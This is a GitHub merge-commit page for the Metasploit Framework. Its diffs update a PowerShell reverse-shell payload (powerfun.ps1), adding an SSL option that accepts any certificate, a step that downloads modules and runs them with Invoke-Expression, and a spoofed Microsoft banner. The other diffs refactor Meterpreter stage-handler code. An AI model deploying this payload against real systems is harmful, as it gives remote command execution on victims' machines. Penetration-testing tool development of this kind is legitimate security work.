Skip to content

Commit a5c5360

Browse files
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework
2 parents 9fafb64 + 7bbc171 commit a5c5360

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

60 files changed

+1732
-1291
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (~> 1.0)
1111
metasploit-model (~> 1.0)
12-
metasploit-payloads (= 0.0.3)
12+
metasploit-payloads (= 0.0.5)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -123,7 +123,7 @@ GEM
123123
activemodel (>= 4.0.9, < 4.1.0)
124124
activesupport (>= 4.0.9, < 4.1.0)
125125
railties (>= 4.0.9, < 4.1.0)
126-
metasploit-payloads (0.0.3)
126+
metasploit-payloads (0.0.5)
127127
metasploit_data_models (1.0.1)
128128
activerecord (>= 4.0.9, < 4.1.0)
129129
activesupport (>= 4.0.9, < 4.1.0)

data/exploits/powershell/powerfun.ps1

Lines changed: 20 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -10,8 +10,9 @@ function Get-Webclient
1010
function powerfun
1111
{
1212
Param(
13-
[String]$Command,
14-
[String]$Download
13+
[String]$Command,
14+
[String]$Sslcon,
15+
[String]$Download
1516
)
1617
Process {
1718
$modules = @(MODULES_REPLACE)
@@ -25,19 +26,33 @@ function powerfun
2526
{
2627
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
2728
}
29+
2830
$stream = $client.GetStream()
31+
32+
if ($Sslcon -eq "true")
33+
{
34+
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
35+
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
36+
$stream = $sslStream
37+
}
38+
2939
[byte[]]$bytes = 0..255|%{0}
40+
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
41+
$stream.Write($sendbytes,0,$sendbytes.Length)
42+
3043
if ($Download -eq "true")
3144
{
45+
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
46+
$stream.Write($sendbytes,0,$sendbytes.Length)
3247
ForEach ($module in $modules)
3348
{
3449
(Get-Webclient).DownloadString($module)|Invoke-Expression
35-
}
50+
}
3651
}
37-
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
38-
$stream.Write($sendbytes,0,$sendbytes.Length)
52+
3953
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
4054
$stream.Write($sendbytes,0,$sendbytes.Length)
55+
4156
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
4257
{
4358
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding

lib/msf/base/sessions/meterpreter.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -307,6 +307,8 @@ def is_valid_session?(timeout=10)
307307

308308
begin
309309
self.machine_id = self.core.machine_id(timeout)
310+
self.payload_uuid ||= self.core.uuid(timeout)
311+
310312
return true
311313
rescue ::Rex::Post::Meterpreter::RequestError
312314
# This meterpreter doesn't support core_machine_id
@@ -326,8 +328,8 @@ def load_session_info()
326328
begin
327329
::Timeout.timeout(60) do
328330
# Gather username/system information
329-
username = self.sys.config.getuid
330-
sysinfo = self.sys.config.sysinfo
331+
username = self.sys.config.getuid
332+
sysinfo = self.sys.config.sysinfo
331333

332334
safe_info = "#{username} @ #{sysinfo['Computer']}"
333335
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)

lib/msf/base/sessions/meterpreter_options.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,6 @@ def initialize(info = {})
1818
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
1919
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
2020
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
21-
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
2221
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
2322
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
2423
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),

lib/msf/core/handler/reverse_hop_http.rb

Lines changed: 15 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ def start_handler
9090
ReverseHopHttp.hop_handlers[full_uri] = self
9191
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
9292
self) do |uri, hop_http|
93-
hop_http.send_new_stage # send stage to hop
93+
hop_http.send_new_stage(uri) # send stage to hop
9494
delay = 1 # poll delay
9595
# Continue to loop as long as at least one handler or one session is depending on us
9696
until hop_http.refs < 1 && hop_http.handlers.empty?
@@ -138,7 +138,7 @@ def start_handler
138138
:ssl => false,
139139
})
140140
# send new stage to hop so next inbound session will get a unique ID.
141-
hop_http.send_new_stage
141+
hop_http.send_new_stage(uri)
142142
else
143143
hop_http.lock.unlock
144144
end
@@ -241,34 +241,27 @@ def initialize(info = {})
241241
#
242242
# Generates and sends a stage up to the hop point to be ready for the next client
243243
#
244-
def send_new_stage
245-
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
244+
def send_new_stage(uri)
245+
# try to get the UUID out of the existing URI
246+
info = process_uri_resource(uri)
247+
uuid = info[:uuid] || Msf::Payload::UUID.new
248+
249+
# generate a new connect
250+
sum = uri_checksum_lookup(:connect)
251+
conn_id = generate_uri_uuid(sum, uuid)
246252
url = full_uri + conn_id + "/\x00"
247253

248254
print_status("Preparing stage for next session #{conn_id}")
249-
blob = stage_payload
250-
#
251-
# Patch options into the payload
252-
#
253-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
254-
:ssl => ssl?,
255-
:url => url,
256-
:expiration => datastore['SessionExpirationTimeout'],
257-
:comm_timeout => datastore['SessionCommunicationTimeout'],
258-
:ua => datastore['MeterpreterUserAgent'],
259-
:proxy_host => datastore['PayloadProxyHost'],
260-
:proxy_port => datastore['PayloadProxyPort'],
261-
:proxy_type => datastore['PayloadProxyType'],
262-
:proxy_user => datastore['PayloadProxyUser'],
263-
:proxy_pass => datastore['PayloadProxyPass'])
264-
265-
blob = encode_stage(blob)
255+
blob = stage_payload(
256+
uuid: uuid,
257+
uri: conn_id
258+
)
266259

267260
#send up
268261
crequest = mclient.request_raw(
269262
'method' => 'POST',
270263
'uri' => control,
271-
'data' => blob,
264+
'data' => encode_stage(blob),
272265
'headers' => {'X-init' => 'true'}
273266
)
274267
res = mclient.send_recv(crequest)

lib/msf/core/handler/reverse_http.rb

Lines changed: 6 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
# -*- coding: binary -*-
22
require 'rex/io/stream_abstraction'
33
require 'rex/sync/ref'
4-
require 'rex/payloads/meterpreter/patch'
54
require 'rex/payloads/meterpreter/uri_checksum'
65
require 'rex/post/meterpreter/packet'
76
require 'rex/parser/x509_certificate'
@@ -324,27 +323,12 @@ def on_request(cli, req, obj)
324323

325324
resp['Content-Type'] = 'application/octet-stream'
326325

327-
blob = obj.stage_payload
328-
329-
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
330-
datastore['HandlerSSLCert'])
331-
#
332-
# Patch options into the payload
333-
#
334-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
335-
:ssl => ssl?,
336-
:url => url,
337-
:ssl_cert_hash => verify_cert_hash,
338-
:expiration => datastore['SessionExpirationTimeout'].to_i,
339-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
340-
:retry_total => datastore['SessionRetryTotal'].to_i,
341-
:retry_wait => datastore['SessionRetryWait'].to_i,
342-
:ua => datastore['MeterpreterUserAgent'],
343-
:proxy_host => datastore['PayloadProxyHost'],
344-
:proxy_port => datastore['PayloadProxyPort'],
345-
:proxy_type => datastore['PayloadProxyType'],
346-
:proxy_user => datastore['PayloadProxyUser'],
347-
:proxy_pass => datastore['PayloadProxyPass'])
326+
# generate the stage, but pass in the existing UUID and connection id so that
327+
# we don't get new ones generated.
328+
blob = obj.stage_payload(
329+
uuid: uuid,
330+
uri: conn_id
331+
)
348332

349333
resp.body = encode_stage(blob)
350334

lib/msf/core/handler/reverse_http/stageless.rb

Lines changed: 0 additions & 75 deletions
This file was deleted.

0 commit comments

Comments
 (0)